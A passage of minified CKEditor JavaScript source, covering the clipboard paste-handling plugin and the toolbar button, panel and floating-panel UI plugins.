setTimeout(function(){r()},0)});b.on("destroy",function(){clearTimeout(a)});e.on("keyup",r)}function c(e){return{type:e,canUndo:"cut"==e,startDisabled:!0,exec:function(){"cut"==this.type&&j();var e;var a=this.type;if(CKEDITOR.env.ie)e=h(a);else try{e=b.document.$.execCommand(a,!1,null)}catch(d){e=!1}e||alert(b.lang.clipboard[this.type+"Error"]);return e}}}function d(){return{canUndo:!1,async:!0,exec:function(b,a){var d=function(a,d){a&&f(a.type,a.dataValue,!!d);b.fire("afterCommandExec",{name:"paste",
command:c,returnValue:!!a})},c=this;"string"==typeof a?d({type:"auto",dataValue:a},1):b.getClipboardData(d)}}}function g(){q=1;setTimeout(function(){q=0},100)}function i(){n=1;setTimeout(function(){n=0},10)}function h(e){var a=b.document,d=a.getBody(),c=!1,j=function(){c=!0};d.on(e,j);(7<CKEDITOR.env.version?a.$:a.$.selection.createRange()).execCommand(e);d.removeListener(e,j);return c}function f(e,a,d){e={type:e};if(d&&!1===b.fire("beforePaste",e)||!a)return!1;e.dataValue=a;return b.fire("paste",
e)}function j(){if(CKEDITOR.env.ie&&!CKEDITOR.env.quirks){var e=b.getSelection(),a,d,c;if(e.getType()==CKEDITOR.SELECTION_ELEMENT&&(a=e.getSelectedElement()))d=e.getRanges()[0],c=b.document.createText(""),c.insertBefore(a),d.setStartBefore(c),d.setEndAfter(a),e.selectRanges([d]),setTimeout(function(){a.getParent()&&(c.remove(),e.selectElement(a))},0)}}function l(a,d){var c=b.document,j=b.editable(),l=function(b){b.cancel()},g;if(!c.getById("cke_pastebin")){var i=b.getSelection(),s=i.createBookmarks();
CKEDITOR.env.ie&&i.root.fire("selectionchange");var k=new CKEDITOR.dom.element((CKEDITOR.env.webkit||j.is("body"))&&!CKEDITOR.env.ie?"body":"div",c);k.setAttributes({id:"cke_pastebin","data-cke-temp":"1"});var f=0,c=c.getWindow();CKEDITOR.env.webkit?(j.append(k),k.addClass("cke_editable"),j.is("body")||(f="static"!=j.getComputedStyle("position")?j:CKEDITOR.dom.element.get(j.$.offsetParent),f=f.getDocumentPosition().y)):j.getAscendant(CKEDITOR.env.ie?"body":"html",1).append(k);k.setStyles({position:"absolute",
top:c.getScrollPosition().y-f+10+"px",width:"1px",height:Math.max(1,c.getViewPaneSize().height-20)+"px",overflow:"hidden",margin:0,padding:0});CKEDITOR.env.safari&&k.setStyles(CKEDITOR.tools.cssVendorPrefix("user-select","text"));(f=k.getParent().isReadOnly())?(k.setOpacity(0),k.setAttribute("contenteditable",!0)):k.setStyle("ltr"==b.config.contentsLangDirection?"left":"right","-1000px");b.on("selectionChange",l,null,null,0);if(CKEDITOR.env.webkit||CKEDITOR.env.gecko)g=j.once("blur",l,null,null,-100);
f&&k.focus();f=new CKEDITOR.dom.range(k);f.selectNodeContents(k);var h=f.select();CKEDITOR.env.ie&&(g=j.once("blur",function(){b.lockSelection(h)}));var m=CKEDITOR.document.getWindow().getScrollPosition().y;setTimeout(function(){if(CKEDITOR.env.webkit)CKEDITOR.document.getBody().$.scrollTop=m;g&&g.removeListener();CKEDITOR.env.ie&&j.focus();i.selectBookmarks(s);k.remove();var a;if(CKEDITOR.env.webkit&&(a=k.getFirst())&&a.is&&a.hasClass("Apple-style-span"))k=a;b.removeListener("selectionChange",l);
d(k.getHtml())},0)}}function s(){if(CKEDITOR.env.ie){b.focus();g();var a=b.focusManager;a.lock();if(b.editable().fire(p)&&!h("paste"))return a.unlock(),!1;a.unlock()}else try{if(b.editable().fire(p)&&!b.document.$.execCommand("Paste",!1,null))throw 0;}catch(d){return!1}return!0}function o(a){if("wysiwyg"==b.mode)switch(a.data.keyCode){case CKEDITOR.CTRL+86:case CKEDITOR.SHIFT+45:a=b.editable();g();!CKEDITOR.env.ie&&a.fire("beforepaste");break;case CKEDITOR.CTRL+88:case CKEDITOR.SHIFT+46:b.fire("saveSnapshot"),
setTimeout(function(){b.fire("saveSnapshot")},50)}}function u(a){var d={type:"auto"},c=b.fire("beforePaste",d);l(a,function(b){b=b.replace(/<span[^>]+data-cke-bookmark[^<]*?<\/span>/ig,"");c&&f(d.type,b,0,1)})}function r(){if("wysiwyg"==b.mode){var a=m("paste");b.getCommand("cut").setState(m("cut"));b.getCommand("copy").setState(m("copy"));b.getCommand("paste").setState(a);b.fire("pasteState",a)}}function m(a){if(t&&a in{paste:1,cut:1})return CKEDITOR.TRISTATE_DISABLED;if("paste"==a)return CKEDITOR.TRISTATE_OFF;
var a=b.getSelection(),d=a.getRanges();return a.getType()==CKEDITOR.SELECTION_NONE||1==d.length&&d[0].collapsed?CKEDITOR.TRISTATE_DISABLED:CKEDITOR.TRISTATE_OFF}var n=0,q=0,t=0,p=CKEDITOR.env.ie?"beforepaste":"paste";(function(){b.on("key",o);b.on("contentDom",a);b.on("selectionChange",function(b){t=b.data.selection.getRanges()[0].checkReadOnly();r()});b.contextMenu&&b.contextMenu.addListener(function(b,a){t=a.getRanges()[0].checkReadOnly();return{cut:m("cut"),copy:m("copy"),paste:m("paste")}})})();
(function(){function a(d,c,j,e,l){var g=b.lang.clipboard[c];b.addCommand(c,j);b.ui.addButton&&b.ui.addButton(d,{label:g,command:c,toolbar:"clipboard,"+e});b.addMenuItems&&b.addMenuItem(c,{label:g,command:c,group:"clipboard",order:l})}a("Cut","cut",c("cut"),10,1);a("Copy","copy",c("copy"),20,4);a("Paste","paste",d(),30,8)})();b.getClipboardData=function(a,d){function c(a){a.removeListener();a.cancel();d(a.data)}function j(a){a.removeListener();a.cancel();i=!0;d({type:f,dataValue:a.data})}function l(){this.customTitle=
a&&a.title}var g=!1,f="auto",i=!1;d||(d=a,a=null);b.on("paste",c,null,null,0);b.on("beforePaste",function(a){a.removeListener();g=true;f=a.data.type},null,null,1E3);!1===s()&&(b.removeListener("paste",c),g&&b.fire("pasteDialog",l)?(b.on("pasteDialogCommit",j),b.on("dialogHide",function(a){a.removeListener();a.data.removeListener("pasteDialogCommit",j);setTimeout(function(){i||d(null)},10)})):d(null))}}function w(b){if(CKEDITOR.env.webkit){if(!b.match(/^[^<]*$/g)&&!b.match(/^(<div><br( ?\/)?><\/div>|<div>[^<]*<\/div>)*$/gi))return"html"}else if(CKEDITOR.env.ie){if(!b.match(/^([^<]|<br( ?\/)?>)*$/gi)&&
!b.match(/^(<p>([^<]|<br( ?\/)?>)*<\/p>|(\r\n))*$/gi))return"html"}else if(CKEDITOR.env.gecko){if(!b.match(/^([^<]|<br( ?\/)?>)*$/gi))return"html"}else return"html";return"htmlifiedtext"}function x(b,a){function c(a){return CKEDITOR.tools.repeat("</p><p>",~~(a/2))+(1==a%2?"<br>":"")}a=a.replace(/\s+/g," ").replace(/> +</g,"><").replace(/<br ?\/>/gi,"<br>");a=a.replace(/<\/?[A-Z]+>/g,function(a){return a.toLowerCase()});if(a.match(/^[^<]$/))return a;CKEDITOR.env.webkit&&-1<a.indexOf("<div>")&&(a=a.replace(/^(<div>(<br>|)<\/div>)(?!$|(<div>(<br>|)<\/div>))/g,
"<br>").replace(/^(<div>(<br>|)<\/div>){2}(?!$)/g,"<div></div>"),a.match(/<div>(<br>|)<\/div>/)&&(a="<p>"+a.replace(/(<div>(<br>|)<\/div>)+/g,function(a){return c(a.split("</div><div>").length+1)})+"</p>"),a=a.replace(/<\/div><div>/g,"<br>"),a=a.replace(/<\/?div>/g,""));CKEDITOR.env.gecko&&b.enterMode!=CKEDITOR.ENTER_BR&&(CKEDITOR.env.gecko&&(a=a.replace(/^<br><br>$/,"<br>")),-1<a.indexOf("<br><br>")&&(a="<p>"+a.replace(/(<br>){2,}/g,function(a){return c(a.length/4)})+"</p>"));return o(b,a)}function y(){var b=
new CKEDITOR.htmlParser.filter,a={blockquote:1,dl:1,fieldset:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,ol:1,p:1,table:1,ul:1},c=CKEDITOR.tools.extend({br:0},CKEDITOR.dtd.$inline),d={p:1,br:1,"cke:br":1},g=CKEDITOR.dtd,i=CKEDITOR.tools.extend({area:1,basefont:1,embed:1,iframe:1,map:1,object:1,param:1},CKEDITOR.dtd.$nonBodyContent,CKEDITOR.dtd.$cdata),h=function(a){delete a.name;a.add(new CKEDITOR.htmlParser.text(" "))},f=function(a){for(var b=a,c;(b=b.next)&&b.name&&b.name.match(/^h\d$/);){c=new CKEDITOR.htmlParser.element("cke:br");
c.isEmpty=!0;for(a.add(c);c=b.children.shift();)a.add(c)}};b.addRules({elements:{h1:f,h2:f,h3:f,h4:f,h5:f,h6:f,img:function(a){var a=CKEDITOR.tools.trim(a.attributes.alt||""),b=" ";a&&!a.match(/(^http|\.(jpe?g|gif|png))/i)&&(b=" ["+a+"] ");return new CKEDITOR.htmlParser.text(b)},td:h,th:h,$:function(b){var f=b.name,h;if(i[f])return!1;b.attributes={};if("br"==f)return b;if(a[f])b.name="p";else if(c[f])delete b.name;else if(g[f]){h=new CKEDITOR.htmlParser.element("cke:br");h.isEmpty=!0;if(CKEDITOR.dtd.$empty[f])return h;
b.add(h,0);h=h.clone();h.isEmpty=!0;b.add(h);delete b.name}d[b.name]||delete b.name;return b}}},{applyToAll:!0});return b}function z(b,a,c){var a=new CKEDITOR.htmlParser.fragment.fromHtml(a),d=new CKEDITOR.htmlParser.basicWriter;a.writeHtml(d,c);var a=d.getHtml(),a=a.replace(/\s*(<\/?[a-z:]+ ?\/?>)\s*/g,"$1").replace(/(<cke:br \/>){2,}/g,"<cke:br />").replace(/(<cke:br \/>)(<\/?p>|<br \/>)/g,"$2").replace(/(<\/?p>|<br \/>)(<cke:br \/>)/g,"$1").replace(/<(cke:)?br( \/)?>/g,"<br>").replace(/<p><\/p>/g,
""),g=0,a=a.replace(/<\/?p>/g,function(a){if("<p>"==a){if(1<++g)return"</p><p>"}else if(0<--g)return"</p><p>";return a}).replace(/<p><\/p>/g,"");return o(b,a)}function o(b,a){b.enterMode==CKEDITOR.ENTER_BR?a=a.replace(/(<\/p><p>)+/g,function(a){return CKEDITOR.tools.repeat("<br>",2*(a.length/7))}).replace(/<\/?p>/g,""):b.enterMode==CKEDITOR.ENTER_DIV&&(a=a.replace(/<(\/)?p>/g,"<$1div>"));return a}CKEDITOR.plugins.add("clipboard",{requires:"dialog",init:function(b){var a;v(b);CKEDITOR.dialog.add("paste",
CKEDITOR.getUrl(this.path+"dialogs/paste.js"));b.on("paste",function(a){var b=a.data.dataValue,g=CKEDITOR.dtd.$block;-1<b.indexOf("Apple-")&&(b=b.replace(/<span class="Apple-converted-space">&nbsp;<\/span>/gi," "),"html"!=a.data.type&&(b=b.replace(/<span class="Apple-tab-span"[^>]*>([^<]*)<\/span>/gi,function(a,b){return b.replace(/\t/g,"&nbsp;&nbsp; &nbsp;")})),-1<b.indexOf('<br class="Apple-interchange-newline">')&&(a.data.startsWithEOL=1,a.data.preSniffing="html",b=b.replace(/<br class="Apple-interchange-newline">/,
"")),b=b.replace(/(<[^>]+) class="Apple-[^"]*"/gi,"$1"));if(b.match(/^<[^<]+cke_(editable|contents)/i)){var i,h,f=new CKEDITOR.dom.element("div");for(f.setHtml(b);1==f.getChildCount()&&(i=f.getFirst())&&i.type==CKEDITOR.NODE_ELEMENT&&(i.hasClass("cke_editable")||i.hasClass("cke_contents"));)f=h=i;h&&(b=h.getHtml().replace(/<br>$/i,""))}CKEDITOR.env.ie?b=b.replace(/^&nbsp;(?: |\r\n)?<(\w+)/g,function(b,d){if(d.toLowerCase()in g){a.data.preSniffing="html";return"<"+d}return b}):CKEDITOR.env.webkit?
b=b.replace(/<\/(\w+)><div><br><\/div>$/,function(b,d){if(d in g){a.data.endsWithEOL=1;return"</"+d+">"}return b}):CKEDITOR.env.gecko&&(b=b.replace(/(\s)<br>$/,"$1"));a.data.dataValue=b},null,null,3);b.on("paste",function(c){var c=c.data,d=c.type,g=c.dataValue,i,h=b.config.clipboard_defaultContentType||"html";i="html"==d||"html"==c.preSniffing?"html":w(g);"htmlifiedtext"==i?g=x(b.config,g):"text"==d&&"html"==i&&(g=z(b.config,g,a||(a=y(b))));c.startsWithEOL&&(g='<br data-cke-eol="1">'+g);c.endsWithEOL&&
(g+='<br data-cke-eol="1">');"auto"==d&&(d="html"==i||"html"==h?"html":"text");c.type=d;c.dataValue=g;delete c.preSniffing;delete c.startsWithEOL;delete c.endsWithEOL},null,null,6);b.on("paste",function(a){a=a.data;b.insertHtml(a.dataValue,a.type);setTimeout(function(){b.fire("afterPaste")},0)},null,null,1E3);b.on("pasteDialog",function(a){setTimeout(function(){b.openDialog("paste",a.data)},0)})}})})();(function(){var c='<a id="{id}" class="cke_button cke_button__{name} cke_button_{state} {cls}"'+(CKEDITOR.env.gecko&&!CKEDITOR.env.hc?"":" href=\"javascript:void('{titleJs}')\"")+' title="{title}" tabindex="-1" hidefocus="true" role="button" aria-labelledby="{id}_label" aria-haspopup="{hasArrow}" aria-disabled="{ariaDisabled}"';CKEDITOR.env.gecko&&CKEDITOR.env.mac&&(c+=' onkeypress="return false;"');CKEDITOR.env.gecko&&(c+=' onblur="this.style.cssText = this.style.cssText;"');var c=c+(' onkeydown="return CKEDITOR.tools.callFunction({keydownFn},event);" onfocus="return CKEDITOR.tools.callFunction({focusFn},event);" '+
(CKEDITOR.env.ie?'onclick="return false;" onmouseup':"onclick")+'="CKEDITOR.tools.callFunction({clickFn},this);return false;"><span class="cke_button_icon cke_button__{iconName}_icon" style="{style}"'),c=c+'>&nbsp;</span><span id="{id}_label" class="cke_button_label cke_button__{name}_label" aria-hidden="false">{label}</span>{arrowHtml}</a>',o=CKEDITOR.addTemplate("buttonArrow",'<span class="cke_button_arrow">'+(CKEDITOR.env.hc?"&#9660;":"")+"</span>"),p=CKEDITOR.addTemplate("button",c);CKEDITOR.plugins.add("button",
{beforeInit:function(a){a.ui.addHandler(CKEDITOR.UI_BUTTON,CKEDITOR.ui.button.handler)}});CKEDITOR.UI_BUTTON="button";CKEDITOR.ui.button=function(a){CKEDITOR.tools.extend(this,a,{title:a.label,click:a.click||function(b){b.execCommand(a.command)}});this._={}};CKEDITOR.ui.button.handler={create:function(a){return new CKEDITOR.ui.button(a)}};CKEDITOR.ui.button.prototype={render:function(a,b){function c(){var e=a.mode;e&&(e=this.modes[e]?void 0!==i[e]?i[e]:CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED,
e=a.readOnly&&!this.readOnly?CKEDITOR.TRISTATE_DISABLED:e,this.setState(e),this.refresh&&this.refresh())}var j=CKEDITOR.env,k=this._.id=CKEDITOR.tools.getNextId(),f="",g=this.command,l;this._.editor=a;var d={id:k,button:this,editor:a,focus:function(){CKEDITOR.document.getById(k).focus()},execute:function(){this.button.click(a)},attach:function(a){this.button.attach(a)}},q=CKEDITOR.tools.addFunction(function(a){if(d.onkey)return a=new CKEDITOR.dom.event(a),!1!==d.onkey(d,a.getKeystroke())}),r=CKEDITOR.tools.addFunction(function(a){var b;
d.onfocus&&(b=!1!==d.onfocus(d,new CKEDITOR.dom.event(a)));return b}),m=0;d.clickFn=l=CKEDITOR.tools.addFunction(function(){m&&(a.unlockSelection(1),m=0);d.execute();j.iOS&&a.focus()});if(this.modes){var i={};a.on("beforeModeUnload",function(){a.mode&&this._.state!=CKEDITOR.TRISTATE_DISABLED&&(i[a.mode]=this._.state)},this);a.on("activeFilterChange",c,this);a.on("mode",c,this);!this.readOnly&&a.on("readOnly",c,this)}else if(g&&(g=a.getCommand(g)))g.on("state",function(){this.setState(g.state)},this),
f+=g.state==CKEDITOR.TRISTATE_ON?"on":g.state==CKEDITOR.TRISTATE_DISABLED?"disabled":"off";if(this.directional)a.on("contentDirChanged",function(b){var c=CKEDITOR.document.getById(this._.id),d=c.getFirst(),b=b.data;b!=a.lang.dir?c.addClass("cke_"+b):c.removeClass("cke_ltr").removeClass("cke_rtl");d.setAttribute("style",CKEDITOR.skin.getIconStyle(h,"rtl"==b,this.icon,this.iconOffset))},this);g||(f+="off");var n=this.name||this.command,h=n;this.icon&&!/\./.test(this.icon)&&(h=this.icon,this.icon=null);
f={id:k,name:n,iconName:h,label:this.label,cls:this.className||"",state:f,ariaDisabled:"disabled"==f?"true":"false",title:this.title,titleJs:j.gecko&&!j.hc?"":(this.title||"").replace("'",""),hasArrow:this.hasArrow?"true":"false",keydownFn:q,focusFn:r,clickFn:l,style:CKEDITOR.skin.getIconStyle(h,"rtl"==a.lang.dir,this.icon,this.iconOffset),arrowHtml:this.hasArrow?o.output():""};p.output(f,b);if(this.onRender)this.onRender();return d},setState:function(a){if(this._.state==a)return!1;this._.state=a;
var b=CKEDITOR.document.getById(this._.id);return b?(b.setState(a,"cke_button"),a==CKEDITOR.TRISTATE_DISABLED?b.setAttribute("aria-disabled",!0):b.removeAttribute("aria-disabled"),this.hasArrow?(a=a==CKEDITOR.TRISTATE_ON?this._.editor.lang.button.selectedLabel.replace(/%1/g,this.label):this.label,CKEDITOR.document.getById(this._.id+"_label").setText(a)):a==CKEDITOR.TRISTATE_ON?b.setAttribute("aria-pressed",!0):b.removeAttribute("aria-pressed"),!0):!1},getState:function(){return this._.state},toFeature:function(a){if(this._.feature)return this._.feature;
var b=this;!this.allowedContent&&(!this.requiredContent&&this.command)&&(b=a.getCommand(this.command)||b);return this._.feature=b}};CKEDITOR.ui.prototype.addButton=function(a,b){this.add(a,CKEDITOR.UI_BUTTON,b)}})();CKEDITOR.plugins.add("panelbutton",{requires:"button",onLoad:function(){function e(c){var a=this._;a.state!=CKEDITOR.TRISTATE_DISABLED&&(this.createPanel(c),a.on?a.panel.hide():a.panel.showBlock(this._.id,this.document.getById(this._.id),4))}CKEDITOR.ui.panelButton=CKEDITOR.tools.createClass({base:CKEDITOR.ui.button,$:function(c){var a=c.panel||{};delete c.panel;this.base(c);this.document=a.parent&&a.parent.getDocument()||CKEDITOR.document;a.block={attributes:a.attributes};this.hasArrow=a.toolbarRelated=
!0;this.click=e;this._={panelDefinition:a}},statics:{handler:{create:function(c){return new CKEDITOR.ui.panelButton(c)}}},proto:{createPanel:function(c){var a=this._;if(!a.panel){var f=this._.panelDefinition,e=this._.panelDefinition.block,g=f.parent||CKEDITOR.document.getBody(),d=this._.panel=new CKEDITOR.ui.floatPanel(c,g,f),f=d.addBlock(a.id,e),b=this;d.onShow=function(){b.className&&this.element.addClass(b.className+"_panel");b.setState(CKEDITOR.TRISTATE_ON);a.on=1;b.editorFocus&&c.focus();if(b.onOpen)b.onOpen()};
d.onHide=function(d){b.className&&this.element.getFirst().removeClass(b.className+"_panel");b.setState(b.modes&&b.modes[c.mode]?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED);a.on=0;if(!d&&b.onClose)b.onClose()};d.onEscape=function(){d.hide(1);b.document.getById(a.id).focus()};if(this.onBlock)this.onBlock(d,f);f.onHide=function(){a.on=0;b.setState(CKEDITOR.TRISTATE_OFF)}}}}})},beforeInit:function(e){e.ui.addHandler(CKEDITOR.UI_PANELBUTTON,CKEDITOR.ui.panelButton.handler)}});
CKEDITOR.UI_PANELBUTTON="panelbutton";(function(){CKEDITOR.plugins.add("panel",{beforeInit:function(a){a.ui.addHandler(CKEDITOR.UI_PANEL,CKEDITOR.ui.panel.handler)}});CKEDITOR.UI_PANEL="panel";CKEDITOR.ui.panel=function(a,b){b&&CKEDITOR.tools.extend(this,b);CKEDITOR.tools.extend(this,{className:"",css:[]});this.id=CKEDITOR.tools.getNextId();this.document=a;this.isFramed=this.forceIFrame||this.css.length;this._={blocks:{}}};CKEDITOR.ui.panel.handler={create:function(a){return new CKEDITOR.ui.panel(a)}};var f=CKEDITOR.addTemplate("panel",
'<div lang="{langCode}" id="{id}" dir={dir} class="cke cke_reset_all {editorId} cke_panel cke_panel {cls} cke_{dir}" style="z-index:{z-index}" role="presentation">{frame}</div>'),g=CKEDITOR.addTemplate("panel-frame",'<iframe id="{id}" class="cke_panel_frame" role="presentation" frameborder="0" src="{src}"></iframe>'),h=CKEDITOR.addTemplate("panel-frame-inner",'<!DOCTYPE html><html class="cke_panel_container {env}" dir="{dir}" lang="{langCode}"><head>{css}</head><body class="cke_{dir}" style="margin:0;padding:0" onload="{onload}"></body></html>');
CKEDITOR.ui.panel.prototype={render:function(a,b){this.getHolderElement=function(){var a=this._.holder;if(!a){if(this.isFramed){var a=this.document.getById(this.id+"_frame"),b=a.getParent(),a=a.getFrameDocument();CKEDITOR.env.iOS&&b.setStyles({overflow:"scroll","-webkit-overflow-scrolling":"touch"});b=CKEDITOR.tools.addFunction(CKEDITOR.tools.bind(function(){this.isLoaded=!0;if(this.onLoad)this.onLoad()},this));a.write(h.output(CKEDITOR.tools.extend({css:CKEDITOR.tools.buildStyleHtml(this.css),onload:"window.parent.CKEDITOR.tools.callFunction("+
b+");"},d)));a.getWindow().$.CKEDITOR=CKEDITOR;a.on("keydown",function(a){var b=a.data.getKeystroke(),c=this.document.getById(this.id).getAttribute("dir");this._.onKeyDown&&!1===this._.onKeyDown(b)?a.data.preventDefault():(27==b||b==("rtl"==c?39:37))&&this.onEscape&&!1===this.onEscape(b)&&a.data.preventDefault()},this);a=a.getBody();a.unselectable();CKEDITOR.env.air&&CKEDITOR.tools.callFunction(b)}else a=this.document.getById(this.id);this._.holder=a}return a};var d={editorId:a.id,id:this.id,langCode:a.langCode,
dir:a.lang.dir,cls:this.className,frame:"",env:CKEDITOR.env.cssClass,"z-index":a.config.baseFloatZIndex+1};if(this.isFramed){var e=CKEDITOR.env.air?"javascript:void(0)":CKEDITOR.env.ie?"javascript:void(function(){"+encodeURIComponent("document.open();("+CKEDITOR.tools.fixDomain+")();document.close();")+"}())":"";d.frame=g.output({id:this.id+"_frame",src:e})}e=f.output(d);b&&b.push(e);return e},addBlock:function(a,b){b=this._.blocks[a]=b instanceof CKEDITOR.ui.panel.block?b:new CKEDITOR.ui.panel.block(this.getHolderElement(),
b);this._.currentBlock||this.showBlock(a);return b},getBlock:function(a){return this._.blocks[a]},showBlock:function(a){var a=this._.blocks[a],b=this._.currentBlock,d=!this.forceIFrame||CKEDITOR.env.ie?this._.holder:this.document.getById(this.id+"_frame");b&&b.hide();this._.currentBlock=a;CKEDITOR.fire("ariaWidget",d);a._.focusIndex=-1;this._.onKeyDown=a.onKeyDown&&CKEDITOR.tools.bind(a.onKeyDown,a);a.show();return a},destroy:function(){this.element&&this.element.remove()}};CKEDITOR.ui.panel.block=
CKEDITOR.tools.createClass({$:function(a,b){this.element=a.append(a.getDocument().createElement("div",{attributes:{tabindex:-1,"class":"cke_panel_block"},styles:{display:"none"}}));b&&CKEDITOR.tools.extend(this,b);this.element.setAttributes({role:this.attributes.role||"presentation","aria-label":this.attributes["aria-label"],title:this.attributes.title||this.attributes["aria-label"]});this.keys={};this._.focusIndex=-1;this.element.disableContextMenu()},_:{markItem:function(a){-1!=a&&(a=this.element.getElementsByTag("a").getItem(this._.focusIndex=
a),CKEDITOR.env.webkit&&a.getDocument().getWindow().focus(),a.focus(),this.onMark&&this.onMark(a))}},proto:{show:function(){this.element.setStyle("display","")},hide:function(){(!this.onHide||!0!==this.onHide.call(this))&&this.element.setStyle("display","none")},onKeyDown:function(a,b){var d=this.keys[a];switch(d){case "next":for(var e=this._.focusIndex,d=this.element.getElementsByTag("a"),c;c=d.getItem(++e);)if(c.getAttribute("_cke_focus")&&c.$.offsetWidth){this._.focusIndex=e;c.focus();break}return!c&&
!b?(this._.focusIndex=-1,this.onKeyDown(a,1)):!1;case "prev":e=this._.focusIndex;for(d=this.element.getElementsByTag("a");0<e&&(c=d.getItem(--e));){if(c.getAttribute("_cke_focus")&&c.$.offsetWidth){this._.focusIndex=e;c.focus();break}c=null}return!c&&!b?(this._.focusIndex=d.count(),this.onKeyDown(a,1)):!1;case "click":case "mouseup":return e=this._.focusIndex,(c=0<=e&&this.element.getElementsByTag("a").getItem(e))&&(c.$[d]?c.$[d]():c.$["on"+d]()),!1}return!0}}})})();CKEDITOR.plugins.add("floatpanel",{requires:"panel"});
(function(){function r(a,b,c,i,f){var f=CKEDITOR.tools.genKey(b.getUniqueId(),c.getUniqueId(),a.lang.dir,a.uiColor||"",i.css||"",f||""),h=g[f];h||(h=g[f]=new CKEDITOR.ui.panel(b,i),h.element=c.append(CKEDITOR.dom.element.createFromHtml(h.render(a),b)),h.element.setStyles({display:"none",position:"absolute"}));return h}var g={};CKEDITOR.ui.floatPanel=CKEDITOR.tools.createClass({$:function(a,b,c,i){function f(){d.hide()}c.forceIFrame=1;c.toolbarRelated&&a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE&&
(b=CKEDITOR.document.getById("cke_"+a.name));var h=b.getDocument(),i=r(a,h,b,c,i||0),j=i.element,l=j.getFirst(),d=this;j.disableContextMenu();this.element=j;this._={editor:a,panel:i,parentElement:b,definition:c,document:h,iframe:l,children:[],dir:a.lang.dir};a.on("mode",f);a.on("resize",f);if(!CKEDITOR.env.iOS)h.getWindow().on("resize",f)},proto:{addBlock:function(a,b){return this._.panel.addBlock(a,b)},addListBlock:function(a,b){return this._.panel.addListBlock(a,b)},getBlock:function(a){return this._.panel.getBlock(a)},
showBlock:function(a,b,c,i,f,h){var j=this._.panel,l=j.showBlock(a);this.allowBlur(!1);a=this._.editor.editable();this._.returnFocus=a.hasFocus?a:new CKEDITOR.dom.element(CKEDITOR.document.$.activeElement);this._.hideTimeout=0;var d=this.element,a=this._.iframe,a=CKEDITOR.env.ie?a:new CKEDITOR.dom.window(a.$.contentWindow),g=d.getDocument(),o=this._.parentElement.getPositionedAncestor(),p=b.getDocumentPosition(g),g=o?o.getDocumentPosition(g):{x:0,y:0},m="rtl"==this._.dir,e=p.x+(i||0)-g.x,k=p.y+(f||
0)-g.y;if(m&&(1==c||4==c))e+=b.$.offsetWidth;else if(!m&&(2==c||3==c))e+=b.$.offsetWidth-1;if(3==c||4==c)k+=b.$.offsetHeight-1;this._.panel._.offsetParentId=b.getId();d.setStyles({top:k+"px",left:0,display:""});d.setOpacity(0);d.getFirst().removeStyle("width");this._.editor.focusManager.add(a);this._.blurSet||(CKEDITOR.event.useCapture=!0,a.on("blur",function(a){function q(){delete this._.returnFocus;this.hide()}this.allowBlur()&&a.data.getPhase()==CKEDITOR.EVENT_PHASE_AT_TARGET&&(this.visible&&!this._.activeChild)&&
(CKEDITOR.env.iOS?this._.hideTimeout||(this._.hideTimeout=CKEDITOR.tools.setTimeout(q,0,this)):q.call(this))},this),a.on("focus",function(){this._.focused=!0;this.hideChild();this.allowBlur(!0)},this),CKEDITOR.env.iOS&&(a.on("touchstart",function(){clearTimeout(this._.hideTimeout)},this),a.on("touchend",function(){this._.hideTimeout=0;this.focus()},this)),CKEDITOR.event.useCapture=!1,this._.blurSet=1);j.onEscape=CKEDITOR.tools.bind(function(a){if(this.onEscape&&this.onEscape(a)===false)return false},
this);CKEDITOR.tools.setTimeout(function(){var a=CKEDITOR.tools.bind(function(){d.removeStyle("width");if(l.autoSize){var a=l.element.getDocument(),a=(CKEDITOR.env.webkit?l.element:a.getBody()).$.scrollWidth;CKEDITOR.env.ie&&(CKEDITOR.env.quirks&&a>0)&&(a=a+((d.$.offsetWidth||0)-(d.$.clientWidth||0)+3));d.setStyle("width",a+10+"px");a=l.element.$.scrollHeight;CKEDITOR.env.ie&&(CKEDITOR.env.quirks&&a>0)&&(a=a+((d.$.offsetHeight||0)-(d.$.clientHeight||0)+3));d.setStyle("height",a+"px");j._.currentBlock.element.setStyle("display",
"none").removeStyle("display")}else d.removeStyle("height");m&&(e=e-d.$.offsetWidth);d.setStyle("left",e+"px");var b=j.element.getWindow(),a=d.$.getBoundingClientRect(),b=b.getViewPaneSize(),c=a.width||a.right-a.left,f=a.height||a.bottom-a.top,i=m?a.right:b.width-a.left,g=m?b.width-a.right:a.left;m?i<c&&(e=g>c?e+c:b.width>c?e-a.left:e-a.right+b.width):i<c&&(e=g>c?e-c:b.width>c?e-a.right+b.width:e-a.left);c=a.top;b.height-a.top<f&&(k=c>f?k-f:b.height>f?k-a.bottom+b.height:k-a.top);if(CKEDITOR.env.ie){b=
a=new CKEDITOR.dom.element(d.$.offsetParent);b.getName()=="html"&&(b=b.getDocument().getBody());b.getComputedStyle("direction")=="rtl"&&(e=CKEDITOR.env.ie8Compat?e-d.getDocument().getDocumentElement().$.scrollLeft*2:e-(a.$.scrollWidth-a.$.clientWidth))}var a=d.getFirst(),n;(n=a.getCustomData("activePanel"))&&n.onHide&&n.onHide.call(this,1);a.setCustomData("activePanel",this);d.setStyles({top:k+"px",left:e+"px"});d.setOpacity(1);h&&h()},this);j.isLoaded?a():j.onLoad=a;CKEDITOR.tools.setTimeout(function(){var a=
CKEDITOR.env.webkit&&CKEDITOR.document.getWindow().getScrollPosition().y;this.focus();l.element.focus();if(CKEDITOR.env.webkit)CKEDITOR.document.getBody().$.scrollTop=a;this.allowBlur(true);this._.editor.fire("panelShow",this)},0,this)},CKEDITOR.env.air?200:0,this);this.visible=1;this.onShow&&this.onShow.call(this)},focus:function(){if(CKEDITOR.env.webkit){var a=CKEDITOR.document.getActive();a&&!a.equals(this._.iframe)&&a.$.blur()}(this._.lastFocused||this._.iframe.getFrameDocument().getWindow()).focus()},
blur:function(){var a=this._.iframe.getFrameDocument().getActive();a&&a.is("a")&&(this._.lastFocused=a)},hide:function(a){if(this.visible&&(!this.onHide||!0!==this.onHide.call(this))){this.hideChild();CKEDITOR.env.gecko&&this._.iframe.getFrameDocument().$.activeElement.blur();this.element.setStyle("display","none");this.visible=0;this.element.getFirst().removeCustomData("activePanel");if(a=a&&this._.returnFocus)CKEDITOR.env.webkit&&a.type&&a.getWindow().$.focus(),a.focus();delete this._.lastFocused;
